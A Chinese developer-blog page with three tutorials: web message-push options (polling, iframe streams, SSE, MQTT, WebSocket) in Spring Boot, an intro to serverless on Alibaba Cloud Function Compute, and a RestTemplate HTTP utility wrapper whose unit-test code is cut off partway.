暂时未有相关云产品技术能力~
阿粉有一个朋友~做了一个小破站,现在要实现一个站内信web消息推送的功能,对,就是下图这个小红点,一个很常用的功能。不过他还没想好用什么方式做,这里我帮他整理了一下几种方案,并简单做了实现。什么是消息推送(push)推送的场景比较多,比如有人关注我的公众号,这时我就会收到一条推送消息,以此来吸引我点击打开应用。消息推送(push)通常是指网站的运营工作等人员,通过某种工具对用户当前网页或移动设备APP进行的主动消息推送。消息推送一般又分为web端消息推送和移动端消息推送。上边的这种属于移动端消息推送,web端消息推送常见的诸如站内信、未读邮件数量、监控报警数量等,应用的也非常广泛。在具体实现之前,咱们再来分析一下前边的需求,其实功能很简单,只要触发某个事件(主动分享了资源或者后台主动推送消息),web页面的通知小红点就会实时的+1就可以了。通常在服务端会有若干张消息推送表,用来记录用户触发不同事件所推送不同类型的消息,前端主动查询(拉)或者被动接收(推)用户所有未读的消息数。消息推送无非是推(push)和拉(pull)两种形式,下边我们逐个了解下。短轮询轮询(polling)应该是实现消息推送方案中最简单的一种,这里我们暂且将轮询分为短轮询和长轮询。短轮询很好理解,指定的时间间隔,由浏览器向服务器发出HTTP请求,服务器实时返回未读消息数据给客户端,浏览器再做渲染显示。一个简单的JS定时器就可以搞定,每秒钟请求一次未读消息数接口,返回的数据展示即可。setInterval(() => { // 方法请求 messageCount().then((res) => { if (res.code === 200) { this.messageCount = res.data } }) }, 1000);效果还是可以的,短轮询实现固然简单,缺点也是显而易见,由于推送数据并不会频繁变更,无论后端此时是否有新的消息产生,客户端都会进行请求,势必会对服务端造成很大压力,浪费带宽和服务器资源。长轮询长轮询是对上边短轮询的一种改进版本,在尽可能减少对服务器资源浪费的同时,保证消息的相对实时性。长轮询在中间件中应用的很广泛,比如Nacos和apollo配置中心,消息队列kafka、RocketMQ中都有用到长轮询。Nacos配置中心交互模型是push还是pull?一文中我详细介绍过Nacos长轮询的实现原理,感兴趣的小伙伴可以瞅瞅。这次我使用apollo配置中心实现长轮询的方式,应用了一个类DeferredResult,它是在servelet3.0后经过Spring封装提供的一种异步请求机制,直意就是延迟结果。DeferredResult可以允许容器线程快速释放占用的资源,不阻塞请求线程,以此接受更多的请求提升系统的吞吐量,然后启动异步工作线程处理真正的业务逻辑,处理完成调用DeferredResult.setResult(200)提交响应结果。下边我们用长轮询来实现消息推送。因为一个ID可能会被多个长轮询请求监听,所以我采用了guava包提供的Multimap结构存放长轮询,一个key可以对应多个value。一旦监听到key发生变化,对应的所有长轮询都会响应。前端得到非请求超时的状态码,知晓数据变更,主动查询未读消息数接口,更新页面数据。@Controller @RequestMapping("/polling") public class PollingController { // 存放监听某个Id的长轮询集合 // 线程同步结构 public static Multimap<String, DeferredResult<String>> watchRequests = Multimaps.synchronizedMultimap(HashMultimap.create()); /** * 公众号:程序员小富 * 设置监听 */ @GetMapping(path = "watch/{id}") @ResponseBody public DeferredResult<String> watch(@PathVariable String id) { // 延迟对象设置超时时间 DeferredResult<String> deferredResult = new DeferredResult<>(TIME_OUT); // 异步请求完成时移除 key,防止内存溢出 deferredResult.onCompletion(() -> { watchRequests.remove(id, deferredResult); }); // 注册长轮询请求 watchRequests.put(id, deferredResult); return deferredResult; } /** * 公众号:程序员小富 * 变更数据 */ @GetMapping(path = "publish/{id}") @ResponseBody public String publish(@PathVariable String id) { // 数据变更 取出监听ID的所有长轮询请求,并一一响应处理 if (watchRequests.containsKey(id)) { Collection<DeferredResult<String>> deferredResults = watchRequests.get(id); for (DeferredResult<String> deferredResult : deferredResults) { deferredResult.setResult("我更新了" + new Date()); } } return "success"; }当请求超过设置的超时时间,会抛出AsyncRequestTimeoutException异常,这里直接用@ControllerAdvice全局捕获统一返回即可,前端获取约定好的状态码后再次发起长轮询请求,如此往复调用。@ControllerAdvice public class AsyncRequestTimeoutHandler { @ResponseStatus(HttpStatus.NOT_MODIFIED) @ResponseBody @ExceptionHandler(AsyncRequestTimeoutException.class) public String asyncRequestTimeoutHandler(AsyncRequestTimeoutException e) { System.out.println("异步请求超时"); return "304"; } }我们来测试一下,首先页面发起长轮询请求/polling/watch/10086监听消息更变,请求被挂起,不变更数据直至超时,再次发起了长轮询请求;紧接着手动变更数据/polling/publish/10086,长轮询得到响应,前端处理业务逻辑完成后再次发起请求,如此循环往复。长轮询相比于短轮询在性能上提升了很多,但依然会产生较多的请求,这是它的一点不完美的地方。iframe流iframe流就是在页面中插入一个隐藏的<iframe>标签,通过在src中请求消息数量API接口,由此在服务端和客户端之间创建一条长连接,服务端持续向iframe传输数据。“传输的数据通常是HTML、或是内嵌的javascript脚本,来达到实时更新页面的效果。这种方式实现简单,前端只要一个<iframe>标签搞定了<iframe src="/iframe/message" style="display:none"></iframe>服务端直接组装html、js脚本数据向response写入就行了@Controller @RequestMapping("/iframe") public class IframeController { @GetMapping(path = "message") public void message(HttpServletResponse response) throws IOException, InterruptedException { while (true) { response.setHeader("Pragma", "no-cache"); response.setDateHeader("Expires", 0); response.setHeader("Cache-Control", "no-cache,no-store"); response.setStatus(HttpServletResponse.SC_OK); response.getWriter().print(" <script type=\"text/javascript\">\n" + "parent.document.getElementById('clock').innerHTML = \"" + count.get() + "\";" + "parent.document.getElementById('count').innerHTML = \"" + count.get() + "\";" + "</script>"); } } }但我个人不推荐,因为它在浏览器上会显示请求未加载完,图标会不停旋转,简直是强迫症杀手。SSE (我的方式)很多人可能不知道,服务端向客户端推送消息,其实除了可以用WebSocket这种耳熟能详的机制外,还有一种服务器发送事件(Server-sent events),简称SSE。SSE它是基于HTTP协议的,我们知道一般意义上的HTTP协议是无法做到服务端主动向客户端推送消息的,但SSE是个例外,它变换了一种思路。SSE在服务器和客户端之间打开一个单向通道,服务端响应的不再是一次性的数据包而是text/event-stream类型的数据流信息,在有数据变更时从服务器流式传输到客户端。整体的实现思路有点类似于在线视频播放,视频流会连续不断的推送到浏览器,你也可以理解成,客户端在完成一次用时很长(网络不畅)的下载。SSE与WebSocket作用相似,都可以建立服务端与浏览器之间的通信,实现服务端向客户端推送消息,但还是有些许不同:SSE 是基于HTTP协议的,它们不需要特殊的协议或服务器实现即可工作;WebSocket需单独服务器来处理协议。SSE 单向通信,只能由服务端向客户端单向通信;webSocket全双工通信,即通信的双方可以同时发送和接受信息。SSE 实现简单开发成本低,无需引入其他组件;WebSocket传输数据需做二次解析,开发门槛高一些。SSE 默认支持断线重连;WebSocket则需要自己实现。SSE 只能传送文本消息,二进制数据需要经过编码后传送;WebSocket默认支持传送二进制数据。SSE 与 WebSocket 该如何选择?“技术并没有好坏之分,只有哪个更合适SSE好像一直不被大家所熟知,一部分原因是出现了WebSockets,这个提供了更丰富的协议来执行双向、全双工通信。对于游戏、即时通信以及需要双向近乎实时更新的场景,拥有双向通道更具吸引力。但是,在某些情况下,不需要从客户端发送数据。而你只需要一些服务器操作的更新。比如:站内信、未读消息数、状态更新、股票行情、监控数量等场景,SEE不管是从实现的难易和成本上都更加有优势。此外,SSE 具有WebSockets在设计上缺乏的多种功能,例如:自动重新连接、事件ID和发送任意事件的能力。前端只需进行一次HTTP请求,带上唯一ID,打开事件流,监听服务端推送的事件就可以了<script> let source = null; let userId = 7777 if (window.EventSource) { // 建立连接 source = new EventSource('http://localhost:7777/sse/sub/'+userId); setMessageInnerHTML("连接用户=" + userId); /** * 连接一旦建立,就会触发open事件 * 另一种写法:source.onopen = function (event) {} */ source.addEventListener('open', function (e) { setMessageInnerHTML("建立连接。。。"); }, false); /** * 客户端收到服务器发来的数据 * 另一种写法:source.onmessage = function (event) {} */ source.addEventListener('message', function (e) { setMessageInnerHTML(e.data); }); } else { setMessageInnerHTML("你的浏览器不支持SSE"); } </script>服务端的实现更简单,创建一个SseEmitter对象放入sseEmitterMap进行管理private static Map<String, SseEmitter> sseEmitterMap = new ConcurrentHashMap<>(); /** * 创建连接 * * @date: 2022/7/12 14:51 * @auther: 公众号:程序员小富 */ public static SseEmitter connect(String userId) { try { // 设置超时时间,0表示不过期。默认30秒 SseEmitter sseEmitter = new SseEmitter(0L); // 注册回调 sseEmitter.onCompletion(completionCallBack(userId)); sseEmitter.onError(errorCallBack(userId)); sseEmitter.onTimeout(timeoutCallBack(userId)); sseEmitterMap.put(userId, sseEmitter); count.getAndIncrement(); return sseEmitter; } catch (Exception e) { log.info("创建新的sse连接异常,当前用户:{}", userId); } return null; } /** * 给指定用户发送消息 * * @date: 2022/7/12 14:51 * @auther: 公众号:程序员小富 */ public static void sendMessage(String userId, String message) { if (sseEmitterMap.containsKey(userId)) { try { sseEmitterMap.get(userId).send(message); } catch (IOException e) { log.error("用户[{}]推送异常:{}", userId, e.getMessage()); removeUser(userId); } } }我们模拟服务端推送消息,看下客户端收到了消息,和我们预期的效果一致。注意: SSE不支持IE浏览器,对其他主流浏览器兼容性做的还不错。MQTT什么是 MQTT协议?MQTT 全称(Message Queue Telemetry Transport):一种基于发布/订阅(publish/subscribe)模式的轻量级通讯协议,通过订阅相应的主题来获取消息,是物联网(Internet of Thing)中的一个标准传输协议。该协议将消息的发布者(publisher)与订阅者(subscriber)进行分离,因此可以在不可靠的网络环境中,为远程连接的设备提供可靠的消息服务,使用方式与传统的MQ有点类似。TCP协议位于传输层,MQTT 协议位于应用层,MQTT 协议构建于TCP/IP协议上,也就是说只要支持TCP/IP协议栈的地方,都可以使用MQTT协议。为什么要用 MQTT协议?MQTT协议为什么在物联网(IOT)中如此受偏爱?而不是其它协议,比如我们更为熟悉的 HTTP协议呢?首先HTTP协议它是一种同步协议,客户端请求后需要等待服务器的响应。而在物联网(IOT)环境中,设备会很受制于环境的影响,比如带宽低、网络延迟高、网络通信不稳定等,显然异步消息协议更为适合IOT应用程序。HTTP是单向的,如果要获取消息客户端必须发起连接,而在物联网(IOT)应用程序中,设备或传感器往往都是客户端,这意味着它们无法被动地接收来自网络的命令。通常需要将一条命令或者消息,发送到网络上的所有设备上。HTTP要实现这样的功能不但很困难,而且成本极高。具体的MQTT协议介绍和实践,这里我就不再赘述了,大家可以参考我之前的两篇文章,里边写的也都很详细了。MQTT协议的介绍我也没想到 springboot + rabbitmq 做智能家居,会这么简单MQTT实现消息推送未读消息(小红点),前端 与 RabbitMQ 实时消息推送实践,贼简单~Websocketwebsocket应该是大家都比较熟悉的一种实现消息推送的方式,上边我们在讲SSE的时候也和websocket进行过比较。WebSocket是一种在TCP连接上进行全双工通信的协议,建立客户端和服务器之间的通信渠道。浏览器和服务器仅需一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输。图片源于网络springboot整合websocket,先引入websocket相关的工具包,和SSE相比额外的开发成本。<!-- 引入websocket --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-websocket</artifactId> </dependency>服务端使用@ServerEndpoint注解标注当前类为一个websocket服务器,客户端可以通过ws://localhost:7777/webSocket/10086来连接到WebSocket服务器端。@Component @Slf4j @ServerEndpoint("/websocket/{userId}") public class WebSocketServer { //与某个客户端的连接会话,需要通过它来给客户端发送数据 private Session session; private static final CopyOnWriteArraySet<WebSocketServer> webSockets = new CopyOnWriteArraySet<>(); // 用来存在线连接数 private static final Map<String, Session> sessionPool = new HashMap<String, Session>(); /** * 公众号:程序员小富 * 链接成功调用的方法 */ @OnOpen public void onOpen(Session session, @PathParam(value = "userId") String userId) { try { this.session = session; webSockets.add(this); sessionPool.put(userId, session); log.info("websocket消息: 有新的连接,总数为:" + webSockets.size()); } catch (Exception e) { } } /** * 公众号:程序员小富 * 收到客户端消息后调用的方法 */ @OnMessage public void onMessage(String message) { log.info("websocket消息: 收到客户端消息:" + message); } /** * 公众号:程序员小富 * 此为单点消息 */ public void sendOneMessage(String userId, String message) { Session session = sessionPool.get(userId); if (session != null && session.isOpen()) { try { log.info("websocket消: 单点消息:" + message); session.getAsyncRemote().sendText(message); } catch (Exception e) { e.printStackTrace(); } } } }前端初始化打开WebSocket连接,并监听连接状态,接收服务端数据或向服务端发送数据。<script> var ws = new WebSocket('ws://localhost:7777/webSocket/10086'); // 获取连接状态 console.log('ws连接状态:' + ws.readyState); //监听是否连接成功 ws.onopen = function () { console.log('ws连接状态:' + ws.readyState); //连接成功则发送一个数据 ws.send('test1'); } // 接听服务器发回的信息并处理展示 ws.onmessage = function (data) { console.log('接收到来自服务器的消息:'); console.log(data); //完成通信后关闭WebSocket连接 ws.close(); } // 监听连接关闭事件 ws.onclose = function () { // 监听整个过程中websocket的状态 console.log('ws连接状态:' + ws.readyState); } // 监听并处理error事件 ws.onerror = function (error) { console.log(error); } function sendMessage() { var content = $("#message").val(); $.ajax({ url: '/socket/publish?userId=10086&message=' + content, type: 'GET', data: { "id": "7777", "content": content }, success: function (data) { console.log(data) } }) } </script>页面初始化建立websocket连接,之后就可以进行双向通信了,效果还不错自定义推送上边我们给我出了6种方案的原理和代码实现,但在实际业务开发过程中,不能盲目的直接拿过来用,还是要结合自身系统业务的特点和实际场景来选择合适的方案。推送最直接的方式就是使用第三推送平台,毕竟钱能解决的需求都不是问题,无需复杂的开发运维,直接可以使用,省时、省力、省心,像goEasy、极光推送都是很不错的三方服务商。一般大型公司都有自研的消息推送平台,像我们本次实现的web站内信只是平台上的一个触点而已,短信、邮件、微信公众号、小程序凡是可以触达到用户的渠道都可以接入进来。图片来源于网络消息推送系统内部是相当复杂的,诸如消息内容的维护审核、圈定推送人群、触达过滤拦截(推送的规则频次、时段、数量、黑白名单、关键词等等)、推送失败补偿非常多的模块,技术上涉及到大数据量、高并发的场景也很多。所以我们今天的实现方式在这个庞大的系统面前只是小打小闹。
一,什么是serverlessServerless的全称是Serverless computing无服务器运算,又被称为函数即服务(Function-as-a-Service,缩写为 FaaS),是云计算的一种模型。以平台即服务(PaaS)为基础,无服务器运算提供一个微型的架构,终端客户不需要部署、配置或管理服务器服务,代码运行所需要的服务器服务皆由云端平台来提供。 国内外比较出名的产品有Tencent Serverless、AWS Lambda、Microsoft Azure Functions 等。Serverless称为微服务运算,但不代表它真的不需要服务,而是说开发者再也不用过多考虑服务器的问题,计算资源作为服务而不是服务器的概念出现。Serverless是一种构建和管理基于微服务架构的技术,允许开发者在服务部署级别而不是服务器部署级别来管理应用部署,你甚至可以管理某个具体功能或端口的部署,以便让开发者快速迭代,更快速地开发软件。二,什么是函数FC函数计算是事件驱动的全托管计算服务。使用函数计算,您无需采购与管理服务器等基础设施,只需编写并上传代码。函数计算为您准备好计算资源,弹性地、可靠地运行任务,并提供日志查询、性能监控和报警等功能。三,具体操作步骤第一步:领资源点击“立刻领取”获取函数计算资源第二步:查界面进入函数计算概览界面,在此处主要起到函数监控的作用,一般以表格曲线为监控图,实时关注资源使用、其他数据的流量变动第三步:创应用我们选择应用,里边有阿里云做好的轻应用,我们直接来选择通过模板创建,找到kod应用模块点击详情了解一下使用规则(注:所有的模块都有使用规则,按照规则创建会更规范和快速,kodbox如果nas欠费了会无法访问请注意,可以创建word press)四,产品的优劣性该操作是基于大数据背景下而创作的,其应用程序的执行效率,扩展速度,以及最重要的成本。让我们看一些重要的专业人士,然后继续前进。1. 更快的上市时间我们可以更快地将应用程序推向市场,因为OPS变得更加简单,并且将帮助开发人员专注于他们的开发。 OPS团队无需编写可以处理扩展或担心底层基础架构的代码。此外,团队可以在第三方集成的帮助下更快地构建应用程序,例如OAuth,Twitter和Maps等API服务。
一、简介在上一篇文章中,我们详细的介绍了RestTemplate工具类的用法,相比直接使用Apache的HttpClient进行网络传输,采用RestTemplate开发代码确实简化了很多,甚至可以做到傻瓜式操作,但是基于当前的团队人员开发习惯,我们可不可以继续基于RestTemplate再做一层封装呢?以便于操作Http网络请求,更加简单、便捷!答案是肯定的!本文要介绍的这个工具类,就是小编基于RestTemplate做了一层代码封装,里面涵盖了GET、POST、PUT、DELETE、文件上传与下载等等方法,同时支持自定义头部传参,通过灵活的传参,可以满足绝大部分业务场景下的网络请求场景!同时,在上一篇介绍RestTemplate的《真不是我吹,Spring里这款牛逼的网络工具库我估计你都没用过!》文章里,我们还漏掉了一个最常用的场景,假如返回的对象,是一个范型类型,该怎么处理?在本篇的文章里,我们也会详细的介绍这种问题的处理方法!废话也不多说,直接上代码,希望对网友们能有所帮助!二、代码实践下面以SpringBoot项目为例,如果是Spring项目,操作也类似,在配置类初始化的时候,实例化一个RestTemplate。首先添加httpclient依赖包,作为RestTemplate底层客户端<dependency> <groupId>org.apache.httpcomponents</groupId> <artifactId>httpclient</artifactId> <version>4.5.6</version> </dependency>接着创建一个配置,初始化RestTemplate@Configuration public class HttpConfiguration { /** * 没有实例化RestTemplate时,初始化RestTemplate * @return */ @ConditionalOnMissingBean(RestTemplate.class) @Bean public RestTemplate restTemplate(){ RestTemplate restTemplate = new RestTemplate(getClientHttpRequestFactory()); return restTemplate; } /** * 使用HttpClient作为底层客户端 * @return */ private ClientHttpRequestFactory getClientHttpRequestFactory() { int timeout = 5000; RequestConfig config = RequestConfig.custom() .setConnectTimeout(timeout) .setConnectionRequestTimeout(timeout) .setSocketTimeout(timeout) .build(); CloseableHttpClient client = HttpClientBuilder .create() .setDefaultRequestConfig(config) .build(); return new HttpComponentsClientHttpRequestFactory(client); } }然后,创建一个HttpTemplate工具类,将其生命周期交给Spring管理import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.core.ParameterizedTypeReference; import org.springframework.http.*; import org.springframework.stereotype.Component; import org.springframework.util.LinkedMultiValueMap; import org.springframework.util.MultiValueMap; import org.springframework.web.client.RequestCallback; import org.springframework.web.client.ResponseExtractor; import org.springframework.web.client.RestTemplate; import java.net.URI; import java.util.Arrays; import java.util.Map; import java.util.Objects; @Component public class HttpTemplate { private static final Logger log = LoggerFactory.getLogger(HttpTemplate.class); @Autowired private RestTemplate restTemplate; /** * get请求,返回响应实体(响应业务对象不支持范型) * 支持restful风格 * @param url * @param headers * @param responseType * @param uriVariables * @param <T> * @return */ public <T> T get(String url, Map<String, String> headers, Class<T> responseType, Object... uriVariables){ ResponseEntity<T> rsp = commonExchange(url, HttpMethod.GET, new HttpEntity<>(createHeaders(headers)), responseType, uriVariables); return buildResponse(rsp); } /** * get请求,返回响应实体(响应业务对象支持范型) * 支持restful风格 * @param url * @param headers * @param responseType * @param uriVariables * @param <T> * @return */ public <T> T get(String url, Map<String, String> headers, ParameterizedTypeReference<T> responseType, Object... uriVariables){ ResponseEntity<T> rsp = commonExchange(url, HttpMethod.GET, new HttpEntity<>(createHeaders(headers)), responseType, uriVariables); return buildResponse(rsp); } /** * post请求,form表单提交(响应业务对象不支持范型) * 支持restful风格 * @param url * @param headers * @param paramMap * @param responseType * @param uriVariables * @param <T> * @return */ public <T> T postByFrom(String url, Map<String, String> headers, Map<String, Object> paramMap, Class<T> responseType, Object... uriVariables){ //指定请求头为表单类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED); ResponseEntity<T> rsp = commonExchange(url, HttpMethod.POST, new HttpEntity<>(createBody(paramMap), httpHeaders), responseType, uriVariables); return buildResponse(rsp); } /** * post请求,form表单提交(响应业务对象支持范型) * 支持restful风格 * @param url * @param headers * @param paramMap * @param responseType * @param uriVariables * @param <T> * @return */ public <T> T postByFrom(String url, Map<String, String> headers, Map<String, Object> paramMap, ParameterizedTypeReference<T> responseType, Object... uriVariables){ //指定请求头为表单类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED); ResponseEntity<T> rsp = commonExchange(url, HttpMethod.POST, new HttpEntity<>(createBody(paramMap), httpHeaders), responseType, uriVariables); return buildResponse(rsp); } /** * post请求,json提交(响应业务对象不支持范型) * 支持restful风格 * @param url * @param headers * @param request * @param responseType * @param uriVariables * @param <T> * @return */ public <T> T postByJson(String url, Map<String, String> headers, Object request, Class<T> responseType, Object... uriVariables){ //指定请求头为json类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.APPLICATION_JSON_UTF8); ResponseEntity<T> rsp = commonExchange(url, HttpMethod.POST, new HttpEntity<>(request, httpHeaders), responseType, uriVariables); return buildResponse(rsp); } /** * post请求,json提交(响应业务对象支持范型) * 支持restful风格 * @param url * @param headers * @param request * @param responseType * @param uriVariables * @param <T> * @return */ public <T> T postByJson(String url, Map<String, String> headers, Object request, ParameterizedTypeReference<T> responseType, Object... uriVariables){ //指定请求头为json类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.APPLICATION_JSON_UTF8); ResponseEntity<T> rsp = commonExchange(url, HttpMethod.POST, new HttpEntity<>(request, httpHeaders), responseType, uriVariables); return buildResponse(rsp); } /** * post请求,json提交,重定项 * 支持restful风格 * @param url * @param headers * @param request * @param uriVariables * @return */ public String postForLocation(String url, Map<String, String> headers, Object request, Object... uriVariables){ //指定请求头为json类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.APPLICATION_JSON_UTF8); URI uri = restTemplate.postForLocation(url, new HttpEntity<>(request, httpHeaders), uriVariables); if(Objects.nonNull(uri)){ return uri.toString(); } return null; } /** * put请求,json提交(响应业务对象不支持范型) * @param url * @param headers * @param request * @param uriVariables */ public <T> T put(String url, Map<String, String> headers, Object request, Class<T> responseType, Object... uriVariables){ //指定请求头为json类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.APPLICATION_JSON_UTF8); ResponseEntity<T> rsp = commonExchange(url, HttpMethod.PUT, new HttpEntity<>(request, httpHeaders), responseType, uriVariables); return buildResponse(rsp); } /** * put请求,json提交(响应业务对象支持范型) * @param url * @param headers * @param request * @param uriVariables */ public <T> T put(String url, Map<String, String> headers, Object request, ParameterizedTypeReference<T> responseType, Object... uriVariables){ //指定请求头为json类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.APPLICATION_JSON_UTF8); ResponseEntity<T> rsp = commonExchange(url, HttpMethod.PUT, new HttpEntity<>(request, httpHeaders), responseType, uriVariables); return buildResponse(rsp); } /** * delete请求(响应业务对象不支持范型) * @param url * @param headers * @param uriVariables * @return */ public <T> T delete(String url, Map<String, String> headers, Class<T> responseType, Object... uriVariables){ ResponseEntity<T> rsp = commonExchange(url, HttpMethod.DELETE, new HttpEntity<>(createHeaders(headers)), responseType, uriVariables); return buildResponse(rsp); } /** * delete请求(响应业务对象支持范型) * @param url * @param headers * @param uriVariables * @return */ public <T> T delete(String url, Map<String, String> headers, ParameterizedTypeReference<T> responseType, Object... uriVariables){ ResponseEntity<T> rsp = commonExchange(url, HttpMethod.DELETE, new HttpEntity<>(createHeaders(headers)), responseType, uriVariables); return buildResponse(rsp); } /** * post请求,文件表单上传提交(响应业务对象不支持范型) * 支持restful风格 * @param url * @param headers * @param paramMap * @param responseType * @param uriVariables * @param <T> * @return */ public <T> T uploadFile(String url, Map<String, String> headers, MultiValueMap<String, Object> paramMap, Class<T> responseType, Object... uriVariables){ //指定请求头为文件&表单类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.MULTIPART_FORM_DATA); ResponseEntity<T> rsp = commonExchange(url, HttpMethod.POST, new HttpEntity<>(paramMap, httpHeaders), responseType, uriVariables); return buildResponse(rsp); } /** * post请求,文件表单上传提交(响应业务对象支持范型) * 支持restful风格 * @param url * @param headers * @param paramMap * @param responseType * @param uriVariables * @param <T> * @return */ public <T> T uploadFile(String url, Map<String, String> headers, MultiValueMap<String, Object> paramMap, ParameterizedTypeReference<T> responseType, Object... uriVariables){ //指定请求头为文件&表单类型 HttpHeaders httpHeaders = createHeaders(headers); httpHeaders.setContentType(MediaType.MULTIPART_FORM_DATA); ResponseEntity<T> rsp = commonExchange(url, HttpMethod.POST, new HttpEntity<>(paramMap, httpHeaders), responseType, uriVariables); return buildResponse(rsp); } /** * 下载文件 * @param url * @param headers * @param uriVariables * @return */ public byte[] downloadFile(String url, Map<String, String> headers, Object... uriVariables){ ResponseEntity<byte[]> rsp = commonExchange(url, HttpMethod.GET, new HttpEntity<>(createHeaders(headers)), byte[].class, uriVariables); return buildResponse(rsp); } /** * 下载大文件 * @param url * @param headers * @param responseExtractor * @param uriVariables */ public void downloadBigFile(String url, Map<String, String> headers, ResponseExtractor responseExtractor, Object... uriVariables){ RequestCallback requestCallback = request -> { //指定请求头信息 request.getHeaders().addAll(createHeaders(headers)); //定义请求头的接收类型 request.getHeaders().setAccept(Arrays.asList(MediaType.APPLICATION_OCTET_STREAM, MediaType.ALL)); }; restTemplate.execute(url, HttpMethod.GET, requestCallback,responseExtractor, uriVariables); } /** * 公共http请求方法(响应业务对象不支持范型) * @param url * @param method * @param requestEntity * @param responseType * @param uriVariables * @param <T> * @return */ public <T> ResponseEntity<T> commonExchange(String url, HttpMethod method, HttpEntity<?> requestEntity, Class<T> responseType, Object... uriVariables){ return restTemplate.exchange(url, method, requestEntity, responseType, uriVariables); } /** * 公共http请求方法(响应业务对象支持范型) * @param url * @param method * @param requestEntity * @param responseType * @param uriVariables * @param <T> * @return */ public <T> ResponseEntity<T> commonExchange(String url, HttpMethod method, HttpEntity<?> requestEntity, ParameterizedTypeReference<T> responseType, Object... uriVariables){ return restTemplate.exchange(url, method, requestEntity, responseType, uriVariables); } /** * 封装头部参数 * @param headers * @return */ private HttpHeaders createHeaders(Map<String, String> headers){ return new HttpHeaders(){{ if(headers != null && !headers.isEmpty()){ headers.entrySet().forEach(item -> { set(item.getKey(), item.getValue()); }); } }}; } /** * 封装请求体 * @param paramMap * @return */ private MultiValueMap<String, Object> createBody(Map<String, Object> paramMap){ MultiValueMap<String, Object> valueMap = new LinkedMultiValueMap<>(); if(paramMap != null && !paramMap.isEmpty()){ paramMap.entrySet().forEach(item -> { valueMap.add(item.getKey(), item.getValue()); }); } return valueMap; } /** * 返回响应对象 * @param rsp * @param <T> * @return */ private <T> T buildResponse(ResponseEntity<T> rsp){ if(!rsp.getStatusCode().is2xxSuccessful()){ throw new RuntimeException(rsp.getStatusCode().getReasonPhrase()); } return rsp.getBody(); } }最后,我们来做一下单元测试,使用案例如下,接口api还是基于上篇文章提供的服务@RunWith(SpringRunner.class) @SpringBootTest public class HttpControllerJunit { @Autowired private HttpTemplate httpTemplate; /** * get请求测试 */ @Test public void testGet(){ //请求地址 String url = "http://localhost:8080/testGet"; //发起请求,直接返回对象 ResponseBean responseBean = httpTemplate.get(url, createHeader("get"), ResponseBean.class); System.out.println(responseBean.toString()); } /** * get请求测试,restful风格 */ @Test public void testGetByRestFul(){ //请求地址 String url = "http://localhost:8080/testGetByRestFul/{1}"; //发起请求,直接返回对象(restful风格) ResponseBean responseBean = httpTemplate.get(url, createHeader("testGetByRestFul"), ResponseBean.class, "张三"); System.out.println(responseBean.toString()); } /** * 模拟表单提交,post请求 */ @Test public void testPostByForm(){ //请求地址 String url = "http://localhost:8080/testPostByFormAndObj"; //表单参数 Map<String, Object> paramMap = new HashMap<>(); paramMap.put("userName", "唐三藏"); paramMap.put("userPwd", "123456"); //发起请求 ResponseBean responseBean = httpTemplate.postByFrom(url, createHeader("testPostByFormAndObj"), paramMap, ResponseBean.class); System.out.println(responseBean.toString()); } /** * 模拟JSON提交,post请求 */ @Test public void testPostByJson(){ //请求地址 String url = "http://localhost:8080/testPostByJson"; //入参 RequestBean request = new RequestBean(); request.setUserName("唐三藏"); request.setUserPwd("123456789"); //发送post请求,并打印结果,以String类型接收响应结果JSON字符串 ResponseBean responseBean = httpTemplate.postByJson(url, createHeader("testPostByJson"), request, ResponseBean.class); System.out.println(responseBean.toString()); } /** * 重定向,post请求,json方式提交 */ @Test public void testPostByLocation(){ //请求地址 String url = "http://localhost:8080/testPostByLocation"; //入参 RequestBean request = new RequestBean(); request.setUserName("唐三藏"); request.setUserPwd("123456789"); //用于提交完成数据之后的页面跳转 String uri = httpTemplate.postForLocation(url, createHeader("testPostByLocation"), request); System.out.println(uri); } /** * put请求,json方式提交 */ @Test public void testPutByJson(){ //请求地址 String url = "http://localhost:8080/testPutByJson"; //入参 RequestBean request = new RequestBean(); request.setUserName("唐三藏"); request.setUserPwd("123456789000"); //模拟JSON提交,put请求 ResponseBean responseBean = httpTemplate.put(url, createHeader("testPutByJson"), request, ResponseBean.class); System.out.println(responseBean.toString()); } /** * delete请求,json方式提交 */ @Test public void testDeleteByJson(){ //请求地址 String url = "http://localhost:8080/testDeleteByJson"; //模拟JSON提交,delete请求 ResponseBean responseBean = httpTemplate.delete(url, createHeader("testDeleteByJson"), ResponseBean.class); System.out.println(responseBean.toString()); } /** * 文件上传,post请求 */ @Test public void uploadFile(){ //需要上传的文件 String filePath = "/Users/panzhi/Desktop/Jietu20220205-194655.jpg"; //请求地址 String url = "http://localhost:8080/upload"; //提交参数设置 MultiValueMap<String, Object> param = new LinkedMultiValueMap<>(); param.add("uploadFile", new FileSystemResource(new File(filePath))); //服务端如果接受额外参数,可以传递 param.add("userName", "张三"); ResponseBean responseBean = httpTemplate.uploadFile(url, createHeader("uploadFile"), param, ResponseBean.class); System.out.println(responseBean.toString()); } /** * 小文件下载 * @throws IOException */ @Test public void downloadFile() throws IOException { String userName = "张三"; String fileName = "f9057640-90b2-4f86-9a4b-72ad0e253d0d.jpg"; //请求地址 String url = "http://localhost:8080/downloadFile/{1}/{2}"; //发起请求,直接返回对象(restful风格) byte[] stream = httpTemplate.downloadFile(url, createHeader("downloadFile"), userName,fileName); // 将下载下来的文件内容保存到本地 String targetPath = "/Users/panzhi/Desktop/" + fileName; Files.write(Paths.get(targetPath), Objects.requireNonNull(stream, "未获取到下载文件")); } /** * 大文件下载 * @throws IOException */ @Test public void downloadBigFile() { String userName = "张三"; String fileName = "f9057640-90b2-4f86-9a4b-72ad0e253d0d.jpg"; String targetPath = "/Users/panzhi/Desktop/" + fileName; //请求地址 String url = 